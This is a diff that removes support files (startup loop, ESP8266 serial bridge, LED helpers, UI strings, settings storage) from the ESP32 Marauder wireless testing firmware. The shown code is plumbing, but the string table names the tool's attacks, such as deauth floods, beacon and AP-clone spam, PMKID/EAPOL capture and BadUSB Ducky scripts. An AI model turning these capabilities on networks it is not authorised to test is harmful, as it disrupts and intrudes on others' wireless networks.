-  display_obj.RunSetup();
-  display_obj.tft.setTextColor(TFT_WHITE, TFT_BLACK);
-#endif
-
-  backlightOff();
-
-  // Draw the title screen
-#ifdef HAS_SCREEN
-  display_obj.drawJpeg("/marauder3L.jpg", 0 , 0);     // 240 x 320 image
-#endif
-
-#ifdef HAS_SCREEN
-  //showCenterText(version_number, 250);
-#ifndef MARAUDER_MINI
-  display_obj.tft.drawCentreString(display_obj.version_number, 120, 250, 2);
-#endif
-
-#ifdef MARAUDER_MINI
-  display_obj.tft.drawCentreString(display_obj.version_number, TFT_WIDTH / 2, TFT_HEIGHT, 1);
-#endif
-#endif
-
-  backlightOn(); // Need this
-
-#ifdef HAS_SCREEN
-  delay(2000);
-
-  display_obj.clearScreen();
-
-  display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
-
-  display_obj.tft.println(text_table0[0]);
-
-  delay(2000);
-
-  display_obj.tft.println("Marauder " + display_obj.version_number + "\n");
-
-  display_obj.tft.println(text_table0[1]);
-#endif
-
-  //Serial.println("Internal Temp: " + (String)((temprature_sens_read() - 32) / 1.8));
-
-  settings_obj.begin();
-
-#ifdef MARAUDER_FLIPPER
-  flipper_led.RunSetup();
-#endif
-
-  //Serial.println("This is a test Channel: " + (String)settings_obj.loadSetting<uint8_t>("Channel"));
-  //if (settings_obj.loadSetting<bool>( "Force PMKID"))
-  //  Serial.println("This is a test Force PMKID: true");
-  //else
-  //  Serial.println("This is a test Force PMKID: false");
-
-  wifi_scan_obj.RunSetup();
-
-  //Serial.println(wifi_scan_obj.freeRAM());
-
-#ifdef HAS_SCREEN
-  display_obj.tft.println(F(text_table0[2]));
-#endif
-
-  // Do some SD stuff
-  if (sd_obj.initSD()) {
-    //Serial.println(F("SD Card supported"));
-#ifdef HAS_SCREEN
-    display_obj.tft.println(F(text_table0[3]));
-#endif
-  }
-  else {
-    Serial.println(F("SD Card NOT Supported"));
-#ifdef HAS_SCREEN
-    display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
-    display_obj.tft.println(F(text_table0[4]));
-    display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
-#endif
-  }
-
-  battery_obj.RunSetup();
-
-#ifdef HAS_SCREEN
-  display_obj.tft.println(F(text_table0[5]));
-#endif
-
-  // Temperature stuff
-#ifndef MARAUDER_FLIPPER
-  temp_obj.RunSetup();
-#endif
-
-#ifdef HAS_SCREEN
-  display_obj.tft.println(F(text_table0[6]));
-#endif
-
-#ifndef MARAUDER_FLIPPER
-  battery_obj.battery_level = battery_obj.getBatteryLevel();
-
-  //    if (battery_obj.i2c_supported) {
-  //      Serial.println(F("IP5306 I2C Supported: true"));
-  //    }
-  //    else
-  //      Serial.println(F("IP5306 I2C Supported: false"));
-#endif
-
-  // Do some LED stuff
-#ifndef MARAUDER_FLIPPER
-  led_obj.RunSetup();
-#endif
-
-#ifdef HAS_SCREEN
-  display_obj.tft.println(F(text_table0[7]));
-
-  delay(500);
-#endif
-
-#ifdef HAS_SCREEN
-  display_obj.tft.println(F(text_table0[8]));
-
-  display_obj.tft.setTextColor(TFT_WHITE, TFT_BLACK);
-
-  delay(2000);
-#endif
-
-#ifdef HAS_SCREEN
-  menu_function_obj.RunSetup();
-#endif
-
-  //Serial.println(F("\n\n--------------------------------\n"));
-  //Serial.println(F("         ESP32 Marauder      \n"));
-  //Serial.println("            " + version_number + "\n");
-  //Serial.println(F("       By: justcallmekoko\n"));
-  //Serial.println(F("--------------------------------\n\n"));
-
-  Serial.println("CLI Ready");
-  cli_obj.RunSetup();
-}
-
-
-void loop()
-{
-  currentTime = millis();
-  bool mini = false;
-
-#ifdef MARAUDER_MINI
-  mini = true;
-#endif
-
-  // Update all of our objects
-#ifdef HAS_SCREEN
-  bool do_draw = display_obj.draw_tft;
-#else
-  bool do_draw = false;
-#endif
-
-  if ((!do_draw) && (wifi_scan_obj.currentScanMode != ESP_UPDATE))
-  {
-    cli_obj.main(currentTime);
-#ifdef HAS_SCREEN
-    display_obj.main(wifi_scan_obj.currentScanMode);
-#endif
-    wifi_scan_obj.main(currentTime);
-    sd_obj.main();
-#ifndef MARAUDER_FLIPPER
-    battery_obj.main(currentTime);
-    temp_obj.main(currentTime);
-#endif
-    settings_obj.main(currentTime);
-    if (((wifi_scan_obj.currentScanMode != WIFI_PACKET_MONITOR) && (wifi_scan_obj.currentScanMode != WIFI_SCAN_EAPOL)) ||
-        (mini)) {
-#ifdef HAS_SCREEN
-      menu_function_obj.main(currentTime);
-#endif
-#ifndef MARAUDER_FLIPPER
-      led_obj.main(currentTime);
-#endif
-      //cli_obj.main(currentTime);
-    }
-    if (wifi_scan_obj.currentScanMode == OTA_UPDATE)
-      web_obj.main();
-#ifdef HAS_SCREEN
-    delay(1);
-#else
-    delay(50);
-#endif
-  }
-#ifdef HAS_SCREEN
-  else if ((display_obj.draw_tft) &&
-           (wifi_scan_obj.currentScanMode != OTA_UPDATE))
-  {
-    display_obj.drawStylus();
-  }
-#endif
-  else if (wifi_scan_obj.currentScanMode == ESP_UPDATE) {
-#ifdef HAS_SCREEN
-    display_obj.main(wifi_scan_obj.currentScanMode);
-    menu_function_obj.main(currentTime);
-#endif
-#ifndef MARAUDER_FLIPPER
-    led_obj.main(currentTime);
-#endif
-    //cli_obj.main(currentTime);
-    delay(1);
-  }
-}

esp32_marauder/esp_interface.cpp

@@ -1,135 +0,0 @@
-#include "esp_interface.h"
-
-HardwareSerial MySerial(1);
-
-void EspInterface::begin() {
-  pinMode(ESP_RST, OUTPUT);
-  pinMode(ESP_ZERO, OUTPUT);
-
-  delay(100);
-
-  digitalWrite(ESP_ZERO, HIGH);
-
-  Serial.println("Checking for ESP8266...");
-
-  MySerial.begin(BAUD, SERIAL_8N1, 27, 26);
-
-  delay(100);
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.println("Checking for ESP8266...");
-  #endif
-
-  this->bootRunMode();
-
-  delay(500);
-
-  while (MySerial.available())
-    MySerial.read();
-
-  MySerial.write("PING");
-
-  delay(2000);
-
-  String display_string = "";
-
-  while (MySerial.available()) {
-    display_string.concat((char)MySerial.read());
-  }
-
-  display_string.trim();
-
-  Serial.println("\nDisplay string: " + (String)display_string);
-  
-  if (display_string == "ESP8266 Pong") {
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-      display_obj.tft.println("ESP8266 Found!");
-      display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
-    #endif
-    Serial.println("ESP8266 Found!");
-    this->supported = true;
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
-      display_obj.tft.println("ESP8266 Not Found");
-      display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
-    #endif
-  }
-
-  this->initTime = millis();
-}
-
-void EspInterface::RunUpdate() {
-  this->bootProgramMode();
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(true);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_GREEN);
-  
-    display_obj.tft.println("Waiting for serial data...");
-  
-    display_obj.tft.setTextColor(TFT_WHITE);
-  #endif
-}
-
-void EspInterface::bootProgramMode() {
-  Serial.println("[!] Setting ESP12 in program mode...");
-  digitalWrite(ESP_ZERO, LOW);
-  delay(100);
-  digitalWrite(ESP_RST, LOW);
-  delay(100);
-  digitalWrite(ESP_RST, HIGH);
-  delay(100);
-  digitalWrite(ESP_ZERO, HIGH);
-  Serial.println("[!] Complete");
-  Serial.end();
-  Serial.begin(57600);
-}
-
-void EspInterface::bootRunMode() {
-  Serial.end();
-  Serial.begin(115200);
-  Serial.println("[!] Setting ESP12 in run mode...");
-  digitalWrite(ESP_ZERO, HIGH);
-  delay(100);
-  digitalWrite(ESP_RST, LOW);
-  delay(100);
-  digitalWrite(ESP_RST, HIGH);
-  delay(100);
-  digitalWrite(ESP_ZERO, HIGH);
-  Serial.println("[!] Complete");
-}
-
-void EspInterface::program() {
-  if (MySerial.available()) {
-    Serial.write((uint8_t)MySerial.read());
-  }
-
-  if (Serial.available()) {
-    #ifdef HAS_SCREEN
-      display_obj.tft.print(".");
-    #endif
-    while (Serial.available()) {
-      MySerial.write((uint8_t)Serial.read());
-    }
-  }
-}
-
-void EspInterface::main(uint32_t current_time) {
-  if (current_time - this->initTime >= 1000) {
-    this->initTime = millis();
-    //MySerial.write("PING");
-  }
-  
-  while (MySerial.available()) {
-    Serial.print((char)MySerial.read());
-  }
-
-  if (Serial.available()) {
-    MySerial.write((uint8_t)Serial.read());
-  }
-}

esp32_marauder/esp_interface.h

@@ -1,35 +0,0 @@
-#ifndef esp_interface_h
-#define esp_interface_h
-
-#include "configs.h"
-
-#ifdef HAS_SCREEN
-  #include "Display.h"
-#endif
-
-#include <HardwareSerial.h>
-
-#define ESP_RST  14
-#define ESP_ZERO 13
-#define BAUD     230400
-
-#ifdef HAS_SCREEN
-  extern Display display_obj;
-#endif
-
-class EspInterface {
-  public:
-    bool supported = false;
-
-    uint32_t initTime;
-
-    void RunUpdate();
-    void bootProgramMode();
-    void bootRunMode();
-    void begin();
-
-    void program();
-    void main(uint32_t current_time);
-};
-
-#endif

esp32_marauder/flipperLED.cpp

@@ -1,70 +0,0 @@
-#include "flipperLED.h"
-
-void flipperLED::RunSetup() {
-#ifdef DISABLE_RGB_LED
-  return;
-#endif
-
-  pinMode(B_PIN, OUTPUT);
-  pinMode(G_PIN, OUTPUT);
-  pinMode(R_PIN, OUTPUT);
-
-  if (!settings_obj.loadSetting<bool>("EnableLED")) {
-    digitalWrite(B_PIN, HIGH);
-    digitalWrite(G_PIN, HIGH);
-    digitalWrite(R_PIN, HIGH);
-    return;
-  }
-
-  delay(50);
-
-  digitalWrite(B_PIN, LOW);
-  delay(500);
-  digitalWrite(B_PIN, HIGH);
-  digitalWrite(G_PIN, LOW);
-  delay(500);
-  digitalWrite(G_PIN, HIGH);
-  digitalWrite(R_PIN, LOW);
-  delay(500);
-  digitalWrite(R_PIN, HIGH);
-}
-
-void flipperLED::attackLED() {
-#ifdef DISABLE_RGB_LED
-  return;
-#endif
-  if (!settings_obj.loadSetting<bool>("EnableLED"))
-    return;
-
-  digitalWrite(B_PIN, HIGH);
-  digitalWrite(G_PIN, HIGH);
-  digitalWrite(R_PIN, HIGH);
-  delay(10);
-  digitalWrite(R_PIN, LOW);
-}
-
-void flipperLED::sniffLED() {
-#ifdef DISABLE_RGB_LED
-  return;
-#endif
-  if (!settings_obj.loadSetting<bool>("EnableLED"))
-    return;
-
-  digitalWrite(B_PIN, HIGH);
-  digitalWrite(G_PIN, HIGH);
-  digitalWrite(R_PIN, HIGH);
-  delay(10);
-  digitalWrite(B_PIN, LOW);
-}
-
-void flipperLED::offLED() {
-#ifdef DISABLE_RGB_LED
-  return;
-#endif
-  if (!settings_obj.loadSetting<bool>("EnableLED"))
-    return;
-
-  digitalWrite(B_PIN, HIGH);
-  digitalWrite(G_PIN, HIGH);
-  digitalWrite(R_PIN, HIGH);
-}

esp32_marauder/flipperLED.h

@@ -1,24 +0,0 @@
-#ifndef flipperLED_h
-#define flipperLED_h
-
-#include "configs.h"
-#include "settings.h"
-
-#include <Arduino.h>
-
-#define B_PIN 4
-#define G_PIN 5
-#define R_PIN 6
-
-extern Settings settings_obj;
-
-class flipperLED {
-
-  public:
-    void RunSetup();
-    void attackLED();
-    void sniffLED();
-    void offLED();
-};
-
-#endif

esp32_marauder/lang_var.h

@@ -1,188 +0,0 @@
-#ifndef lang_var_h
-#define lang_var_h
-
-
-#include "configs.h"
-
-//Starting window texts
-PROGMEM const char text0_0[] = "Giving room for HardwareSerial...";
-PROGMEM const char text0_1[] = "Started Serial";
-PROGMEM const char text0_2[] = "Checked RAM";
-PROGMEM const char text0_3[] = "Initialized SD Card";
-PROGMEM const char text0_4[] = "Failed to Initialize SD Card";
-PROGMEM const char text0_5[] = "Checked battery configuration";
-PROGMEM const char text0_6[] = "Initialized temperature interface";
-PROGMEM const char text0_7[] = "Initialized LED Interface";
-PROGMEM const char text0_8[] = "Starting...";
-
-//Single library (action) texts/Often used
-PROGMEM const char text00[] = "Battery Level changed: ";
-PROGMEM const char text01[] = "file closed";
-PROGMEM const char text02[] = "Failed to open file '";
-PROGMEM const char text03[] = "ON";
-PROGMEM const char text04[] = "OFF";
-PROGMEM const char text05[] = "Load";
-PROGMEM const char text06[] = "Save As";
-PROGMEM const char text07[] = "Exit";
-PROGMEM const char text08[] = "Settings";
-PROGMEM const char text09[] = "Back";
-PROGMEM const char text10[] = "Channel:";
-PROGMEM const char text11[] = "Touch screen to exit";
-PROGMEM const char text12[] = "Cancel";
-PROGMEM const char text13[] = "Save";
-PROGMEM const char text14[] = "Yes";
-PROGMEM const char text15[] = "Opening /update.bin...";
-PROGMEM const char text16[] = "Close";
-PROGMEM const char text17[] = "FAIL";
-PROGMEM const char text18[] = "packets/sec: ";
-
-
-//Menufunctions.cpp texts
-PROGMEM const char text1_0[] = "SSID List";
-PROGMEM const char text1_1[] = "Add SSIDs";
-PROGMEM const char text1_2[] = "SSID: ";
-PROGMEM const char text1_3[] = "Password:";
-PROGMEM const char text1_4[] = "Setting disabled";
-PROGMEM const char text1_5[] = "Setting on";
-PROGMEM const char text1_6[] = "ESP32 Marauder ";
-PROGMEM const char text1_7[] = "WiFi ";
-PROGMEM const char text1_8[] = "Bad USB ";
-PROGMEM const char text1_9[] = "Device ";
-PROGMEM const char text1_10[] = "General Apps ";
-PROGMEM const char text1_11[] = "Updating... ";
-PROGMEM const char text1_12[] = "Select Method ";
-PROGMEM const char text1_13[] = "Confirm Update ";
-PROGMEM const char text1_14[] = "ESP8266 Update ";
-PROGMEM const char text1_15[] = "Update Firmware ";
-PROGMEM const char text1_16[] = "Language ";
-PROGMEM const char text1_17[] = "Device Info ";
-PROGMEM const char text1_18[] = "Settings ";
-PROGMEM const char text1_19[] = "Bluetooth ";
-PROGMEM const char text1_20[] = "WiFi Sniffers ";
-PROGMEM const char text1_21[] = "WiFi Attacks ";
-PROGMEM const char text1_22[] = "WiFi General ";
-PROGMEM const char text1_23[] = "Bluetooth Sniffers ";
-PROGMEM const char text1_24[] = "Bluetooth General ";
-PROGMEM const char text1_25[] = "Shutdown WiFi ";
-PROGMEM const char text1_26[] = "Shutdown BLE ";
-PROGMEM const char text1_27[] = "Generate SSIDs ";
-PROGMEM const char text1_28[] = "Clear SSIDs ";
-PROGMEM const char text1_29[] = "Clear APs ";
-PROGMEM const char text1_30[] = "Reboot";
-PROGMEM const char text1_31[] = "Sniffers";
-PROGMEM const char text1_32[] = "Attacks";
-PROGMEM const char text1_33[] = "General";
-PROGMEM const char text1_34[] = "Bluetooth Sniffer";
-PROGMEM const char text1_35[] = "Detect Card Skimmers";
-PROGMEM const char text1_36[] = "Test BadUSB";
-PROGMEM const char text1_37[] = "Run Ducky Script";
-PROGMEM const char text1_38[] = "Draw";
-PROGMEM const char text1_39[] = "Web Update";
-PROGMEM const char text1_40[] = "SD Update";
-PROGMEM const char text1_41[] = "ESP8266 Update";
-PROGMEM const char text1_42[] = "Probe Request Sniff";
-PROGMEM const char text1_43[] = "Beacon Sniff";
-PROGMEM const char text1_44[] = "Deauth Sniff";
-PROGMEM const char text1_45[] = "Packet Monitor";
-PROGMEM const char text1_46[] = "EAPOL/PMKID Scan";
-PROGMEM const char text1_47[] = "Detect Pwnagotchi";
-PROGMEM const char text1_48[] = "Detect Espressif";
-PROGMEM const char text1_49[] = "Scan APs";
-PROGMEM const char text1_50[] = "Beacon Spam List";
-PROGMEM const char text1_51[] = "Beacon Spam Random";
-PROGMEM const char text1_52[] = "Rick Roll Beacon";
-PROGMEM const char text1_53[] = "Probe Req Flood";
-PROGMEM const char text1_54[] = "Deauth Flood";
-PROGMEM const char text1_55[] = "Join WiFi";
-PROGMEM const char text1_56[] = "Select APs";
-PROGMEM const char text1_57[] = "AP Clone Spam";
-PROGMEM const char text1_58[] = "Raw Capture";
-PROGMEM const char text1_59[] = "Station Sniff";
-PROGMEM const char text1_60[] = "Clear Stations";
-PROGMEM const char text1_61[] = "Select Stations";
-PROGMEM const char text1_62[] = "Deauth Targeted";
-
-
-//SDInterface.cpp texts
-PROGMEM const char text2_0[] = "Error, could not find update.bin";
-PROGMEM const char text2_1[] = "Starting SD Update...";
-PROGMEM const char text2_2[] = "Error, update.bin is empty";
-PROGMEM const char text2_3[] = "\nRebooting...\n";
-PROGMEM const char text2_4[] = "Could not load update.bin from /";
-PROGMEM const char text2_5[] = "File size: ";
-PROGMEM const char text2_6[] = "Writing file to partition...";
-PROGMEM const char text2_7[] = "Written: ";
-PROGMEM const char text2_8[] = "Written only : ";
-PROGMEM const char text2_9[] = ". Retry?";
-PROGMEM const char text2_10[] = " successfully";
-PROGMEM const char text2_11[] = "Update complete";
-PROGMEM const char text2_12[] = "Update could not complete";
-PROGMEM const char text2_13[] = "Error Occurred. Error #: ";
-PROGMEM const char text2_14[] = "Not enough space to begin OTA";
-
-//Web.cpp texts
-PROGMEM const char text3_0[] = "Configuring update server...\n\n";
-PROGMEM const char text3_1[] = "IP address: ";
-PROGMEM const char text3_2[] = "Update: ";
-PROGMEM const char text3_3[] = "Bytes complete: ";
-PROGMEM const char text3_4[] = "Update Success: ";
-PROGMEM const char text3_5[] = "\nCompleted update server setup";
-
-//WiFiScan.cpp texts
-PROGMEM const char text4_0[] = " RSSI: ";
-PROGMEM const char text4_1[] = "Potential Skimmer: ";
-PROGMEM const char text4_2[] = "Already Connected";
-PROGMEM const char text4_3[] = "Failed to connect";
-PROGMEM const char text4_4[] = "Connected";
-PROGMEM const char text4_5[] = "ForcePMKID";
-PROGMEM const char text4_6[] = "ForceProbe";
-PROGMEM const char text4_7[] = "SavePCAP";
-PROGMEM const char text4_8[] = "Probe Flood";
-PROGMEM const char text4_9[] = "Clearing APs...";
-PROGMEM const char text4_10[] = "APs Cleared: ";
-PROGMEM const char text4_11[] = "Clearing SSIDs...";
-PROGMEM const char text4_12[] = "SSIDs Cleared: ";
-PROGMEM const char text4_13[] = "Generating SSIDs...";
-PROGMEM const char text4_14[] = "SSIDs Generated: ";        //Add spaces before to match : [15]
-PROGMEM const char text4_15[] = "    Total SSIDs: ";        //Add spaces beforer to match : [14]
-PROGMEM const char text4_16[] = "Shutting down WiFi...";
-PROGMEM const char text4_17[] = "WiFi not currently initialized";
-PROGMEM const char text4_18[] = "Shutting down BLE...";
-PROGMEM const char text4_19[] = "BLE not currently initialized";
-PROGMEM const char text4_20[] = "Firmware: Marauder";      //From 20 to 35 add spaces so : is in line like it is now
-PROGMEM const char text4_21[] = "Version: ";
-PROGMEM const char text4_22[] = "ESP-IDF: ";
-PROGMEM const char text4_23[] = "WSL Bypass: enabled";
-PROGMEM const char text4_24[] = "WSL Bypass: disabled";
-PROGMEM const char text4_25[] = "Station MAC: ";
-PROGMEM const char text4_26[] = "AP MAC: ";
-PROGMEM const char text4_27[] = "";
-PROGMEM const char text4_28[] = "SD Card: Connected";
-PROGMEM const char text4_29[] = "SD Card Size: ";
-PROGMEM const char text4_30[] = "SD Card: Not Connected";
-PROGMEM const char text4_31[] = "SD Card Size: 0";
-PROGMEM const char text4_32[] = "IP5306 I2C: supported";
-PROGMEM const char text4_33[] = "Battery Lvl: ";
-PROGMEM const char text4_34[] = "IP5306 I2C: not supported";
-PROGMEM const char text4_35[] = "Internal temp: ";
-PROGMEM const char text4_36[] = " Detect Espressif ";
-PROGMEM const char text4_37[] = " Detect Pwnagotchi ";
-PROGMEM const char text4_38[] = " Beacon Sniffer ";
-PROGMEM const char text4_39[] = " Deauthentication Sniffer ";
-PROGMEM const char text4_40[] = " Probe Request Sniffer ";
-PROGMEM const char text4_41[] = " Bluetooth Sniff ";
-PROGMEM const char text4_42[] = " Detect Card Skimmers ";
-PROGMEM const char text4_43[] = "Scanning for\nBluetooth-enabled skimmers\nHC-03, HC-05, and HC-06...";
-PROGMEM const char text4_44[] = " AP Scan ";
-PROGMEM const char text4_45[] = "Clearing Stations...";
-PROGMEM const char text4_46[] = "Stations Cleared: ";
-PROGMEM const char text4_47[] = "Targeted Deauth";
-
-//Making tables
-PROGMEM const char *text_table0[] = {text0_0,text0_1, text0_2, text0_3, text0_4, text0_5, text0_6, text0_7, text0_8};
-PROGMEM const char *text_table1[] = {text1_0,text1_1,text1_2,text1_3,text1_4,text1_5,text1_6,text1_7,text1_8,text1_9,text1_10,text1_11,text1_12,text1_13,text1_14,text1_15,text1_16,text1_17,text1_18,text1_19,text1_20,text1_21,text1_22,text1_23,text1_24,text1_25,text1_26,text1_27,text1_28,text1_29,text1_30,text1_31,text1_32,text1_33,text1_34,text1_35,text1_36,text1_37,text1_38,text1_39,text1_40,text1_41,text1_42,text1_43,text1_44,text1_45,text1_46,text1_47,text1_48,text1_49,text1_50,text1_51,text1_52,text1_53,text1_54,text1_55,text1_56,text1_57,text1_58,text1_59,text1_60,text1_61,text1_62};
-PROGMEM const char *text_table2[] = {text2_0,text2_1,text2_2,text2_3,text2_4,text2_5,text2_6,text2_7,text2_8,text2_9,text2_10,text2_11,text2_12,text2_13,text2_14};
-PROGMEM const char *text_table3[] = {text3_0,text3_1,text3_2,text3_3,text3_4,text3_5};
-PROGMEM const char *text_table4[] = {text4_0,text4_1,text4_2,text4_3,text4_4,text4_5,text4_6,text4_7,text1_54,text4_9,text4_10,text4_11,text4_12,text4_13,text4_14,text4_15,text4_16,text4_17,text4_18,text4_19,text4_20,text4_21,text4_22,text4_23,text4_24,text4_25,text4_26,text4_27,text4_28,text4_29,text4_30,text4_31,text4_32,text4_33,text4_34,text4_35,text4_36,text4_37,text4_38,text4_39,text4_40,text4_41,text4_42,text4_43,text4_44,text4_45,text4_46,text4_47};
-
-#endif

esp32_marauder/settings.cpp

@@ -1,311 +0,0 @@
-#include "settings.h"
-
-String Settings::getSettingsString() {
-  return this->json_settings_string;
-}
-
-bool Settings::begin() {
-  if(!SPIFFS.begin(FORMAT_SPIFFS_IF_FAILED)){
-    Serial.println("Settings SPIFFS Mount Failed");
-    return false;
-  }
-
-  File settingsFile;
-
-  //SPIFFS.remove("/settings.json"); // NEED TO REMOVE THIS LINE
-
-  if (SPIFFS.exists("/settings.json")) {
-    settingsFile = SPIFFS.open("/settings.json", FILE_READ);
-    
-    if (!settingsFile) {
-      settingsFile.close();
-      Serial.println(F("Could not find settings file"));
-      if (this->createDefaultSettings(SPIFFS))
-        return true;
-      else
-        return false;    
-    }
-  }
-  else {
-    Serial.println("Settings file does not exist");
-    if (this->createDefaultSettings(SPIFFS))
-      return true;
-    else
-      return false;
-  }
-
-  String json_string;
-  DynamicJsonDocument jsonBuffer(1024);
-  DeserializationError error = deserializeJson(jsonBuffer, settingsFile);
-  serializeJson(jsonBuffer, json_string);
-  //Serial.println("Settings: " + (String)json_string + "\n");
-  //this->printJsonSettings(json_string);
-
-  this->json_settings_string = json_string;
-  
-  return true;
-}
-
-template <typename T>
-T Settings::loadSetting(String key) {}
-
-// Get type int settings
-template<>
-int Settings::loadSetting<int>(String key) {
-  DynamicJsonDocument json(1024); // ArduinoJson v6
-
-  if (deserializeJson(json, this->json_settings_string)) {
-    Serial.println("\nCould not parse json");
-  }
-
-  for (int i = 0; i < json["Settings"].size(); i++) {
-    if (json["Settings"][i]["name"].as<String>() == key)
-      return json["Settings"][i]["value"];
-  }
-
-  return 0;
-}
-
-// Get type string settings
-template<>
-String Settings::loadSetting<String>(String key) {
-  //return this->json_settings_string;
-  
-  DynamicJsonDocument json(1024); // ArduinoJson v6
-
-  if (deserializeJson(json, this->json_settings_string)) {
-    Serial.println("\nCould not parse json");
-  }
-
-  for (int i = 0; i < json["Settings"].size(); i++) {
-    if (json["Settings"][i]["name"].as<String>() == key)
-      return json["Settings"][i]["value"];
-  }
-
-  return "";
-}
-
-// Get type bool settings
-template<>
-bool Settings::loadSetting<bool>(String key) {
-  DynamicJsonDocument json(1024); // ArduinoJson v6
-
-  if (deserializeJson(json, this->json_settings_string)) {
-    Serial.println("\nCould not parse json");
-  }
-
-  for (int i = 0; i < json["Settings"].size(); i++) {
-    if (json["Settings"][i]["name"].as<String>() == key)
-      return json["Settings"][i]["value"];
-  }
-
-  return false;
-}
-
-//Get type uint8_t settings
-template<>
-uint8_t Settings::loadSetting<uint8_t>(String key) {
-  DynamicJsonDocument json(1024); // ArduinoJson v6
-
-  if (deserializeJson(json, this->json_settings_string)) {
-    Serial.println("\nCould not parse json");
-  }
-
-  for (int i = 0; i < json["Settings"].size(); i++) {
-    if (json["Settings"][i]["name"].as<String>() == key)
-      return json["Settings"][i]["value"];
-  }
-
-  return 0;
-}
-
-template <typename T>
-T Settings::saveSetting(String key, bool value) {}
-
-template<>
-bool Settings::saveSetting<bool>(String key, bool value) {
-  DynamicJsonDocument json(1024); // ArduinoJson v6
-
-  if (deserializeJson(json, this->json_settings_string)) {
-    Serial.println("\nCould not parse json");
-  }
-
-  String settings_string;
-
-  for (int i = 0; i < json["Settings"].size(); i++) {
-    if (json["Settings"][i]["name"].as<String>() == key) {
-      json["Settings"][i]["value"] = value;
-
-      Serial.println("Saving setting...");
-
-      File settingsFile = SPIFFS.open("/settings.json", FILE_WRITE);
-
-      if (!settingsFile) {
-        Serial.println(F("Failed to create settings file"));
-        return false;
-      }
-
-      if (serializeJson(json, settingsFile) == 0) {
-        Serial.println(F("Failed to write to file"));
-      }
-      if (serializeJson(json, settings_string) == 0) {
-        Serial.println(F("Failed to write to string"));
-      }
-    
-      // Close the file
-      settingsFile.close();
-    
-      this->json_settings_string = settings_string;
-    
-      this->printJsonSettings(settings_string);
-      
-      return true;
-    }
-  }
-  return false;
-}
-
-bool Settings::toggleSetting(String key) {
-  DynamicJsonDocument json(1024); // ArduinoJson v6
-
-  if (deserializeJson(json, this->json_settings_string)) {
-    Serial.println("\nCould not parse json");
-  }
-
-  for (int i = 0; i < json["Settings"].size(); i++) {
-    if (json["Settings"][i]["name"].as<String>() == key) {
-      if (json["Settings"][i]["value"]) {
-        saveSetting<bool>(key, false);
-        Serial.println("Setting value to false");
-        return false;
-      }
-      else {
-        saveSetting<bool>(key, true);
-        Serial.println("Setting value to true");
-        return true;
-      }
-
-      return false;
-    }
-  }
-}
-
-String Settings::setting_index_to_name(int i) {
-  DynamicJsonDocument json(1024); // ArduinoJson v6
-
-  if (deserializeJson(json, this->json_settings_string)) {
-    Serial.println("\nCould not parse json");
-  }
-
-  return json["Settings"][i]["name"];
-}
-
-int Settings::getNumberSettings() {
-  DynamicJsonDocument json(1024); // ArduinoJson v6
-
-  if (deserializeJson(json, this->json_settings_string)) {
-    Serial.println("\nCould not parse json");
-  }
-
-  return json["Settings"].size();
-}
-
-String Settings::getSettingType(String key) {
-  DynamicJsonDocument json(1024); // ArduinoJson v6
-
-  if (deserializeJson(json, this->json_settings_string)) {
-    Serial.println("\nCould not parse json");
-  }
-  
-  for (int i = 0; i < json["Settings"].size(); i++) {
-    if (json["Settings"][i]["name"].as<String>() == key)
-      return json["Settings"][i]["type"];
-  }
-}
-
-void Settings::printJsonSettings(String json_string) {
-  DynamicJsonDocument json(1024); // ArduinoJson v6
-
-  if (deserializeJson(json, json_string)) {
-    Serial.println("\nCould not parse json");
-  }
-  
-  Serial.println("Settings\n----------------------------------------------");
-  for (int i = 0; i < json["Settings"].size(); i++) {
-    Serial.println("Name: " + json["Settings"][i]["name"].as<String>());
-    Serial.println("Type: " + json["Settings"][i]["type"].as<String>());
-    Serial.println("Value: " + json["Settings"][i]["value"].as<String>());
-    Serial.println("----------------------------------------------");
-  }
-}
-
-bool Settings::createDefaultSettings(fs::FS &fs) {
-  Serial.println(F("Creating default settings file: settings.json"));
-  
-  File settingsFile = fs.open("/settings.json", FILE_WRITE);
-
-  if (!settingsFile) {
-    Serial.println(F("Failed to create settings file"));
-    return false;
-  }
-
-  DynamicJsonDocument jsonBuffer(1024);
-  String settings_string;
-
-  //jsonBuffer["Settings"][0]["name"] = "Channel";
-  //jsonBuffer["Settings"][0]["type"] = "uint8_t";
-  //jsonBuffer["Settings"][0]["value"] = 11;
-  //jsonBuffer["Settings"][0]["range"]["min"] = 1;
-  //jsonBuffer["Settings"][0]["range"]["max"] = 14;
-
-  //jsonBuffer["Settings"][1]["name"] = "Channel Hop Delay";
-  //jsonBuffer["Settings"][1]["type"] = "int";
-  //jsonBuffer["Settings"][1]["value"] = 1;
-  //jsonBuffer["Settings"][1]["range"]["min"] = 1;
-  //jsonBuffer["Settings"][1]["range"]["max"] = 10;
-
-  jsonBuffer["Settings"][0]["name"] = "ForcePMKID";
-  jsonBuffer["Settings"][0]["type"] = "bool";
-  jsonBuffer["Settings"][0]["value"] = true;
-  jsonBuffer["Settings"][0]["range"]["min"] = false;
-  jsonBuffer["Settings"][0]["range"]["max"] = true;
-
-  jsonBuffer["Settings"][1]["name"] = "ForceProbe";
-  jsonBuffer["Settings"][1]["type"] = "bool";
-  jsonBuffer["Settings"][1]["value"] = true;
-  jsonBuffer["Settings"][1]["range"]["min"] = false;
-  jsonBuffer["Settings"][1]["range"]["max"] = true;
-
-  jsonBuffer["Settings"][2]["name"] = "SavePCAP";
-  jsonBuffer["Settings"][2]["type"] = "bool";
-  jsonBuffer["Settings"][2]["value"] = true;
-  jsonBuffer["Settings"][2]["range"]["min"] = false;
-  jsonBuffer["Settings"][2]["range"]["max"] = true;
-
-  jsonBuffer["Settings"][3]["name"] = "EnableLED";
-  jsonBuffer["Settings"][3]["type"] = "bool";
-  jsonBuffer["Settings"][3]["value"] = true;
-  jsonBuffer["Settings"][3]["range"]["min"] = false;
-  jsonBuffer["Settings"][3]["range"]["max"] = true;
-
